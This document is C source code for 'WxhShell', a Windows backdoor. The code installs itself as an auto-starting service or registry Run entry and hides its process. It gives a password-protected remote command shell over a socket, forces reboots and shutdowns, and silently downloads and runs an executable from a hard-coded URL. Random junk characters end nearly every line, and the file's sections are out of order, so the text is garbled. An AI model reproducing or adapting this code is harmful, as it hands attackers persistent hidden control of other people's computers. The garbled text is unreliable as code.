  case 'd': { esQ$.L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YYPJ (o\  
    if(Boot(SHUTDOWN)) GN9kCyPK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@ <-L  
    else { %+Y wzL{  
    closesocket(wsh); ?@;)2B|q  
    ExitThread(0); Z<^!N)  
    } ,W|-?b?   
    break; 02trjp.f  
    } B>m*!n: l  
  // 获取shell 9xhc:@B1J  
  case 's': { %=Z/Frd  
    CmdShell(wsh); j*Pq<[~  
    closesocket(wsh); MpGG}J[y  
    ExitThread(0); j7Ts&;`[*  
    break; rUmP_  
  } FMI1[|:;  
  // 退出 lw[c+F7  
  case 'x': { FKu8R%9xn%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ed}#S~4q  
    CloseIt(wsh); Y&8,f|{R  
    break; GGr82)E  
    } 2 \}J*0  
  // 离开 %lWOW2~R  
  case 'q': { # Q,EL73;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X<Z(,B  
    closesocket(wsh); 3X11Gl  
    WSACleanup(); R3l{.{3p2  
    exit(1); zxCx2.7  
    break; l v hJ  
        } &KAe+~aPm  
  } ZV+tHgzlv5  
  } :v;U7  
KXK5\#+L  
  // 提示信息 dpsc gW{M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )7NI5x^$  
} $--+M D29Q  
  } F.5fasdX'  
h]k $K  
  return; h_S>Q  
} L YF|  
P/|1,S k  
// shell模块句柄 c$71~|-[  
int CmdShell(SOCKET sock) K)~aH  
{ {vCtp   
STARTUPINFO si; 1^X)vck  
ZeroMemory(&si,sizeof(si)); _"L6mcI6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o0f`/ 6o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y32$b,%Xi,  
PROCESS_INFORMATION ProcessInfo; KNd<8{'.  
char cmdline[]="cmd"; L/exR6M7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /*,_\ ;  
  return 0; ktx| c19  
} D_0Vu/v  
j]<K%lwp  
// 自身启动模式 B5|\<CF  
int StartFromService(void) }UB@FRPF  
{ S#y[_C?H  
typedef struct G%t>Ll``C  
{ PC<_1!M]  
  DWORD ExitStatus; @r/~Y]0Ye5  
  DWORD PebBaseAddress; qJrKt=CE  
  DWORD AffinityMask; $=N?[h&4  
  DWORD BasePriority; /B~[,ES@1  
  ULONG UniqueProcessId; J:glJ'4E  
  ULONG InheritedFromUniqueProcessId; ,r;xH}tbi  
}   PROCESS_BASIC_INFORMATION; 6{HCF-cQd  
u"*DI=pwb  
PROCNTQSIP NtQueryInformationProcess; Wu/#}Bw#  
#IM.7`I   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,:A;4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S* O. ?  
9tPRQ M7  
  HANDLE             hProcess; I*3}erT  
  PROCESS_BASIC_INFORMATION pbi; z_fjmqa?  
-HQbvXAS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {D Q%fneN4  
  if(NULL == hInst ) return 0; 8mKp PwG0  
o5?Y   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [%N?D#;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &t AYF_}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -R:_o1"  
cS9jGD92  
  if (!NtQueryInformationProcess) return 0; @|DQZt  
Coe/4! $M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mQ"uG?NE  
  if(!hProcess) return 0; pLtw|S'4  
2icQ (H;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e@W+ehx"  
m)Kg6/MV.  
  CloseHandle(hProcess); x'I!f? / &  
</`\3t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?}4,s7PR  
if(hProcess==NULL) return 0; ebQgk Y=  
:1>?:3,`  
HMODULE hMod; W H/.h$  
char procName[255]; 7<] EH:9  
unsigned long cbNeeded; p|ink):  
Pa{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f(Of+>   
' 1gfXC  
  CloseHandle(hProcess); N8dxgh!,  
Pp tuXq%U  
if(strstr(procName,"services")) return 1; // 以服务启动 ;: 2U}p^-  
"U-jZ5o"  
  return 0; // 注册表启动 5z!$=SFz  
} XH$r(@Z\7  
YiDOV)  
// 主模块 '6 F-%  
int StartWxhshell(LPSTR lpCmdLine) =x\`yxsG  
{ 7*{f*({  
  SOCKET wsl; QH9t |l  
BOOL val=TRUE; ZhA_d#qH  
  int port=0; @5S'5)4pB  
  struct sockaddr_in door; Q7$o&N{  
"a8E0b  
  if(wscfg.ws_autoins) Install(); .PUp3X-  
!{t|z=Qg  
port=atoi(lpCmdLine); #;j:;LRU  
WI/tWj0  
if(port<=0) port=wscfg.ws_port; Ec@n<KK#  
2+ cs^M3  
  WSADATA data; Sz go@x$^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6p)AQTh>  
Q,&Li+u|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MxIa,M <  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q S&B"7;g  
  door.sin_family = AF_INET; rTIu'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6(f 'P_*  
  door.sin_port = htons(port); Yg^ &4ZF  
Y#ZgrziYM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [7FG;}lB-  
closesocket(wsl); \:WWrY8&  
return 1; qJrT  
} c>B1cR  
:x*)o+  
  if(listen(wsl,2) == INVALID_SOCKET) { T`ibulp  
closesocket(wsl); :eVZ5?F  
return 1; =Xh)34q  
} @i1e0;\  
  Wxhshell(wsl); &Vz$0{d5  
  WSACleanup(); 3S:Lce'f  
:hX[8u  
return 0; qq| 5[I.?  
`GCoi ?n7  
} MYWkEv7  
=1l6( pJ  
// 以NT服务方式启动 rG-T Dm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bP&QFc  
{ ixd sz\<  
DWORD   status = 0; %L+q:naZe  
  DWORD   specificError = 0xfffffff; L=4+rshl!_  
v 3I^81  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D0r viO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  8s0+6{vW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O,Q.-  
  serviceStatus.dwWin32ExitCode     = 0; |`5 IP8Z  
  serviceStatus.dwServiceSpecificExitCode = 0; j<B9$8x&  
  serviceStatus.dwCheckPoint       = 0; vwU1}H  
  serviceStatus.dwWaitHint       = 0; >.iF,[.[F<  
f~`=I NrU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q5+1'mzAB  
  if (hServiceStatusHandle==0) return; 'dLw8&T+W  
!*N9PUM  
status = GetLastError(); <1D|TrP  
  if (status!=NO_ERROR) ]%' AZ`8  
{ Qd[_W^QI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1UP=(8j/  
    serviceStatus.dwCheckPoint       = 0; tJ\ $%  
    serviceStatus.dwWaitHint       = 0; a#YK1n[!  
    serviceStatus.dwWin32ExitCode     = status; zfeT>S+  
    serviceStatus.dwServiceSpecificExitCode = specificError; !@ ^6/=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7`mEL>?  
    return; +xFn~b/  
  } *; o%*:  
6p9fq3~7Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HEF e?  
  serviceStatus.dwCheckPoint       = 0; g'(bk@<BP  
  serviceStatus.dwWaitHint       = 0; fE-R(9K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k6(7G@@}  
} P8tdT3*6/  
: uncOd.  
// 处理NT服务事件,比如:启动、停止 g^'h 4qOa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,&P 4%N"  
{ VfX^iG r  
switch(fdwControl) g4IF~\QRVi  
{ ~dYCY_a  
case SERVICE_CONTROL_STOP: e8F]m`{_"  
  serviceStatus.dwWin32ExitCode = 0; Y2u\~.;oq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l|P"^;*zq  
  serviceStatus.dwCheckPoint   = 0; )kpEcMlR  
  serviceStatus.dwWaitHint     = 0; j/O~8o&  
  { i5VZ,E^E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )6OD@<r{  
  } ?[ xgt )  
  return; Hr|f(9xA  
case SERVICE_CONTROL_PAUSE: <^5!]8*O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2{-29bq  
  break; bdg6B7%Q  
case SERVICE_CONTROL_CONTINUE: ^#9385  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zBF~:Uc`B  
  break; uUH4vUa  
case SERVICE_CONTROL_INTERROGATE: "o5]:]h)  
  break; ".?4`@7F\  
}; T ozx0??)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (bsx|8[  
} |&; ^?M  
QL?_FwZL  
// 标准应用程序主函数 z 6:Wh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0HzqU31%l@  
{ hyI7X7Hy  
(8d uV  
// 获取操作系统版本 9LDv?kYr  
OsIsNt=GetOsVer(); k9Pvh,_wp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hbw(o  
"tJ+v*E  
  // 从命令行安装 I |Oco?Q"  
  if(strpbrk(lpCmdLine,"iI")) Install(); }Q\%tZC#T  
q~ H>rC(\  
  // 下载执行文件 x/*lNG/  
if(wscfg.ws_downexe) { to={q CqU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 82r8K|L.<y  
  WinExec(wscfg.ws_filenam,SW_HIDE); -$Oh.B`i  
} 3_(_yEKx  
<DF3!r  
if(!OsIsNt) { qE[S>/R"  
// 如果时win9x,隐藏进程并且设置为注册表启动 3JnpI,By  
HideProc(); |cvU2JI@  
StartWxhshell(lpCmdLine); F2"fOS  
} +jm,nM9  
else st-{xC#N#  
  if(StartFromService()) 8Q'Emw |  
  // 以服务方式启动 $%bSRvA  
  StartServiceCtrlDispatcher(DispatchTable); l/.{F;3F  
else 5 \mRH  
  // 普通方式启动 uYh!04u  
  StartWxhshell(lpCmdLine); 02;jeZ#z  
akj<*,  
return 0; a=z] tTs4  
} M(%H  
e &6%  
TZn 15-O  
%w`d  
=========================================== m'o dVZ7  
.wfydu)3  
SE'Im  
$O"ss>8Se  
/9`4f"  
u47<J?!Q  
" HIg2y  
'7iz5wC#  
#include <stdio.h> ~Amq1KU*Z  
#include <string.h> BoD{fg  
#include <windows.h> 2HX/@ERhmu  
#include <winsock2.h> 0SQ!lr  
#include <winsvc.h> j*{0<hZb}  
#include <urlmon.h> !~ox;I}S  
>3 o4 U2  
#pragma comment (lib, "Ws2_32.lib") 6(n0{A  
#pragma comment (lib, "urlmon.lib") cgnNO&  
{}O~tf_  
#define MAX_USER   100 // 最大客户端连接数 P}R:o   
#define BUF_SOCK   200 // sock buffer -ng1RA>  
#define KEY_BUFF   255 // 输入 buffer o!a,r3  
':*H#}Br-#  
#define REBOOT     0   // 重启 i8]EIXbMX  
#define SHUTDOWN   1   // 关机 gabfb#  
8z=# 0+0  
#define DEF_PORT   5000 // 监听端口 _$~>O7  
7J'%;sH  
#define REG_LEN     16   // 注册表键长度 tl#sCf!c  
#define SVC_LEN     80   // NT服务名长度 Vk2$b{VdF  
wKJG 31I^  
// 从dll定义API c%H' jB [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !T 6R[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oa|c ?|+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K-RmB4WI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Et=Pr+Q{c  
JZ5k3#@e  
// wxhshell配置信息 N\{"&e  
struct WSCFG { O]N/(pe:d  
  int ws_port;         // 监听端口 57\ 0MQO  
  char ws_passstr[REG_LEN]; // 口令 c=! >m  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9&+]YY CS-  
  char ws_regname[REG_LEN]; // 注册表键名 NL2 1se  
  char ws_svcname[REG_LEN]; // 服务名 %M6 OLq!K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4G&`&fff]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \Kl20?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S?~0)EXj(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N J3;[qJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VotC YJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DiFLat]X  
9+ 'i(q z  
}; GppCrQ%Ra|  
=L W!$p  
// default Wxhshell configuration  N' hT  
struct WSCFG wscfg={DEF_PORT, Dqy`7?Kn  
    "xuhuanlingzhe", (0-Ol9[  
    1, \}Q=q$)  
    "Wxhshell", #2tmi1 ya  
    "Wxhshell", _w^,j"  
            "WxhShell Service", \ .xS  
    "Wrsky Windows CmdShell Service", v~$ V  
    "Please Input Your Password: ", (W1 $+X  
  1, ">V1II 7  
  "http://www.wrsky.com/wxhshell.exe", pH '_k k  
  "Wxhshell.exe" ^<I(  
    }; >pq~ &)^u  
@16GF!.  
// 消息定义模块 (r|m&/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 05d0p|},  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t G_4>-Y#w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t"=5MaQk-  
char *msg_ws_ext="\n\rExit."; B[b>T=  
char *msg_ws_end="\n\rQuit."; +kSu{Tc  
char *msg_ws_boot="\n\rReboot..."; (_FU3ZW!  
char *msg_ws_poff="\n\rShutdown..."; YT(N][V  
char *msg_ws_down="\n\rSave to "; kx,.)qKk  
=p5DT  
char *msg_ws_err="\n\rErr!"; ]#:WL)@  
char *msg_ws_ok="\n\rOK!"; mx Nd_{n  
c^}y9% 4c  
char ExeFile[MAX_PATH]; 80lei  
int nUser = 0; '*J+mZtN  
HANDLE handles[MAX_USER]; 7;jD>wp 9D  
int OsIsNt; "O34 E?ql.  
\|=6<ZY:  
SERVICE_STATUS       serviceStatus; oe<i\uX8z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Pc>D';{S  
Fh#QS'[  
// 函数声明 7l* &Fh9;  
int Install(void); 3$?6rMl@y  
int Uninstall(void); cBxGGggB  
int DownloadFile(char *sURL, SOCKET wsh); O<S.fr,  
int Boot(int flag); #&Hi0..y  
void HideProc(void); 2B_|"J  
int GetOsVer(void); *.W3V;K  
int Wxhshell(SOCKET wsl); -.Wcz|  
void TalkWithClient(void *cs); W!{RJWe  
int CmdShell(SOCKET sock); D<WnPLA$g  
int StartFromService(void); hGtz[u#p  
int StartWxhshell(LPSTR lpCmdLine); PR8nJts W5  
Xf u0d1b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q-7?'\h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }c/p;<  
g=Z52y`N<  
// 数据结构和表定义 25>R^2,LiE  
SERVICE_TABLE_ENTRY DispatchTable[] = * %D_\0;  
{ n`,  <g  
{wscfg.ws_svcname, NTServiceMain}, eiMP:  
{NULL, NULL} *yBVZD|?H  
}; %8*:VR  
PaCC UF  
// 自我安装 BA@E  
int Install(void) 56;u 7  
{ Oe5rRQ$O  
  char svExeFile[MAX_PATH]; H/o_?qK  
  HKEY key; K43%9=sM  
  strcpy(svExeFile,ExeFile); $DHE%IN`  
q5;dQ8Y ?  
// 如果是win9x系统,修改注册表设为自启动 eHr0],  
if(!OsIsNt) { b A+_/1C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K(;qd Ir  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f,G*e367:  
  RegCloseKey(key); ~F"S]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j iKHx_9P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o/Ismg-p  
  RegCloseKey(key); 'z|Da&d P  
  return 0; UoxlEec  
    } nxZz{&  
  } C19N0=  
} Pe<VPf9+  
else { wgFX')l:  
SkjG}  
// 如果是NT以上系统,安装为系统服务 )7 5 7   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j_<qnBeQ  
if (schSCManager!=0) DTO_IP  
{ {$8+n::  
  SC_HANDLE schService = CreateService ~/rD _K  
  ( Spn[:u@  
  schSCManager, 24J c`%7,=  
  wscfg.ws_svcname, x}/jh  
  wscfg.ws_svcdisp, JSL&` `  
  SERVICE_ALL_ACCESS, }#ink4dK:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x?S86,RW  
  SERVICE_AUTO_START, FX!KX/OE)  
  SERVICE_ERROR_NORMAL, ~.T|n =  
  svExeFile, !)bZ.1o  
  NULL,  ZiPeP  
  NULL, 9&sb,^4  
  NULL, 0YiTv;mq;  
  NULL, 5]&sXs  
  NULL }O\IF}X  
  ); Lm[,^k  
  if (schService!=0) M-@RgWvF  
  { ZID-~ 6  
  CloseServiceHandle(schService); 2Qe&FeT  
  CloseServiceHandle(schSCManager); o;@~uU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pX &bX_F{  
  strcat(svExeFile,wscfg.ws_svcname); /@\`Ibe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T=PqA)Ym  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cN@_5  
  RegCloseKey(key); 2;gvo*k  
  return 0; TtkHMPlm_  
    } kL DpZ{  
  } ~vXbh(MX  
  CloseServiceHandle(schSCManager); 8dR `T}  
} 8&JB_%Gb  
} w[X-Q+7p(t  
}u;K<<h:  
return 1; KKC%!Xy  
} F!z ^0+H(  
8:0/Cj  
// 自我卸载 h *R@ d  
int Uninstall(void) r^5%0_F]  
{ bTJ<8q  
  HKEY key; p8'$@:M\  
qur2t8gnxq  
if(!OsIsNt) { -riX=K>$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f#z:ILG=  
  RegDeleteValue(key,wscfg.ws_regname); Ch]d\GM  
  RegCloseKey(key); e@P(+.Ke  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~cc }yDe  
  RegDeleteValue(key,wscfg.ws_regname); lTC0kh  
  RegCloseKey(key); Ph yIea  
  return 0; rt^~ I \V  
  } BL&AZv/T  
} N**)8(  
} `df!-\#  
else { 3CD#OCz7&  
),yar9C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dFBFXy  
if (schSCManager!=0) x$q}lJv_  
{ z)M#9oAM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XP)^81i|  
  if (schService!=0) 9)wYSz'  
  { # Wi?I =,  
  if(DeleteService(schService)!=0) { ~61b^L}$  
  CloseServiceHandle(schService); lJ;Wi  
  CloseServiceHandle(schSCManager); >@7$=Y>D  
  return 0; Q/g!h}>(.  
  } P")I)> Q6  
  CloseServiceHandle(schService); t*hy"e{*a  
  } lpXGsK H2  
  CloseServiceHandle(schSCManager); hJ(vDv%  
} GQYR`;>  
} SMrfEmdH+  
z% bH?1^o  
return 1; N# }A9t  
} +j{Cfv$do  
=!t;e~^8]  
// 从指定url下载文件 !JXiTI!  
int DownloadFile(char *sURL, SOCKET wsh) U;W9`JT<.f  
{ m\qeYI6,Z  
  HRESULT hr; MsXw 8D  
char seps[]= "/"; nYSe0w  
char *token; :.5l  
char *file; ) (YNNu  
char myURL[MAX_PATH]; l7g'z'G  
char myFILE[MAX_PATH]; ~vA{I%z5~  
-gvfz&Lz  
strcpy(myURL,sURL); ?# w} S%  
  token=strtok(myURL,seps); ktrIi5B  
  while(token!=NULL) Xr  <H^X  
  { l_}d Q&R  
    file=token; |RL#BKC`  
  token=strtok(NULL,seps); `h@fW- r  
  } \96\!7$@O  
QdgJNT<=H,  
GetCurrentDirectory(MAX_PATH,myFILE); ;mEn@@{  
strcat(myFILE, "\\"); O q$_ q  
strcat(myFILE, file); jRjeL'"G  
  send(wsh,myFILE,strlen(myFILE),0); "r46Rfa  
send(wsh,"...",3,0); RiQ ]AsTtl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (6$ P/k8  
  if(hr==S_OK) 6C2~0b   
return 0; ]JkEf?;.  
else u{DEOhtI4  
return 1; k&ooV4#f6  
N" L&Z4Z  
} cTGd<  
Os<E7l zqO  
// 系统电源模块 F6}RPk\=i  
int Boot(int flag) t~(jA9n  
{ p=:Vpg<!  
  HANDLE hToken; ZGZNZ}~#  
  TOKEN_PRIVILEGES tkp; n1PptR  
e%cTFwX?n  
  if(OsIsNt) { 3SIq od;%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :V.@:x>id  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sex\dg<  
    tkp.PrivilegeCount = 1; > T *`Y0P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @[lMh9`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bh&pZcm|  
if(flag==REBOOT) { 3aq'JVq   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0o+Yjg>\~8  
  return 0; o=R(DK# U  
} R` < ^/h  
else { b;b,t0wS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >g<Y H'U{  
  return 0; *:yG)J 3F  
} k^Qf |  
  } N#l2wT  
  else { ?)1Y|W'Rv  
if(flag==REBOOT) { xoo,}EY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K\2{SjL:B  
  return 0; I Id4w~|  
} FL{?W(M  
else { 5Rl\& G\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uj6'T Sl  
  return 0; aB6xRn9  
} Y]SF0:v!n  
} J>  
esJ7#Gxt  
return 1; 1*=ev,Z  
} j"nOxs  
W+&5G(z~  
// win9x进程隐藏模块 bvtpqI QZ  
void HideProc(void) _H]^7`;  
{ ]"_c-=  
}AS/^E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5z_d$.CIc  
  if ( hKernel != NULL ) 5VV}wR  
  { m'N AM%$}J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !vnC-&G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cR3d& /_,U  
    FreeLibrary(hKernel); es*$/A  
  } Dylm=ZZa  
F_*']:p  
return; W q<t+E[  
} ,Iyc0  
.j:,WF<"l5  
// 获取操作系统版本 FPYk`D  
int GetOsVer(void) S-Y{Vi"2  
{ P{9:XSa%  
  OSVERSIONINFO winfo; R->x_9y-R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |4mvB2r  
  GetVersionEx(&winfo); -iiX!@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _uO$=4Sd  
  return 1; ~^obf(N`  
  else kxhsDD$@p  
  return 0; 59oTU  
} B2[f1IMI  
jUm-!SK}q  
// 客户端句柄模块 A5Hx $.Z  
int Wxhshell(SOCKET wsl) 6nk }k]Ji  
{ RU ~na/3  
  SOCKET wsh; #tR:W?!  
  struct sockaddr_in client; 8Q Try%  
  DWORD myID; ~3:VM_  
D 5rH6*J  
  while(nUser<MAX_USER) i%9vZ  
{ nNCR5&,q  
  int nSize=sizeof(client); FFqK tj's  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kD#n/R Bgf  
  if(wsh==INVALID_SOCKET) return 1; W+i^tmj  
c6[m'cy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >B{qPrmI  
if(handles[nUser]==0) ]pvHsiI:  
  closesocket(wsh); iL;V5|(sb  
else ]W?cy  
  nUser++; z}Cjk6z@  
  } @4;'>yr(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lBfthLBa  
\na$Sb+  
  return 0; tKt}]KHV  
} ]00s o`  
\$_02:#  
// 关闭 socket "zcAYg^U  
void CloseIt(SOCKET wsh) 6!]@ S|vDX  
{ @_C]5D^J^~  
closesocket(wsh);  [^ }$u[  
nUser--; ?r !kKMZ  
ExitThread(0); sa+ JN^[X  
} h-PJC/>  
- jZAvb  
// 客户端请求句柄 =Q 9^|&6  
void TalkWithClient(void *cs) SPV+ O{  
{ '^)'q\v'k  
k)3N0]q6  
  SOCKET wsh=(SOCKET)cs; qefp3&ls  
  char pwd[SVC_LEN]; Gt*<Awn8  
  char cmd[KEY_BUFF]; :z8/iD y  
char chr[1]; zh2<!MH  
int i,j; f$>_>E  
\uTlwS  
  while (nUser < MAX_USER) { c= t4 gf  
c6F?#@?   
if(wscfg.ws_passstr) { =u2~=t=LV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |>(Vo@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9\Gk)0  
  //ZeroMemory(pwd,KEY_BUFF); h^(U:M=A  
      i=0; T)e2IXGN  
  while(i<SVC_LEN) { fc~fjtqwvz  
D]E=0+  
  // 设置超时 6{5T^^x?<  
  fd_set FdRead; h> bjG  
  struct timeval TimeOut; 2;sTSGDG  
  FD_ZERO(&FdRead); %/3+:}@G  
  FD_SET(wsh,&FdRead); >c0leT  
  TimeOut.tv_sec=8; d9JAt-6z2  
  TimeOut.tv_usec=0; qVh?%c1.Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MX]#|hEeQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lz1KDXr`)+  
_t-6m2A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3YLK?X8  
  pwd=chr[0]; |$/#,Dv7  
  if(chr[0]==0xd || chr[0]==0xa) { O h e^{:  
  pwd=0; `mcb0  
  break; Ei:m@}g  
  } nN&dtjoF  
  i++; M;XU"8  
    } fa]8v6  
Ia%cc L=  
  // 如果是非法用户,关闭 socket Mc c%&j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3DO*kM1s@  
} J ?{sTj"KB  
9 5!xJdq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ED8{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (tA[]ne2  
)F hbN@3  
while(1) { $z OV*O2  
N=u( 3So  
  ZeroMemory(cmd,KEY_BUFF); qf K gNZ  
7J3A]>qU  
      // 自动支持客户端 telnet标准   kmBA  
  j=0; +ase>'<N#  
  while(j<KEY_BUFF) { NdJ]\>5oN,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;LgMi5dN  
  cmd[j]=chr[0]; T ^eD  
  if(chr[0]==0xa || chr[0]==0xd) { ]foS.D,  
  cmd[j]=0; ,sj(g/hg  
  break; c k[uvH   
  } `%|3c  
  j++; vV"YgN:  
    } .K^gh$z!  
Ew]&~:$Ki  
  // 下载文件 LntRLB'  
  if(strstr(cmd,"http://")) { +mG"m hF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T=w0T-[f  
  if(DownloadFile(cmd,wsh)) j 7);N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W/RB|TMT  
  else GF@` ~im  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IV&5a]j  
  } 0xi2VN"X  
  else { R{H8@JLD  
"uZ^zV`"  
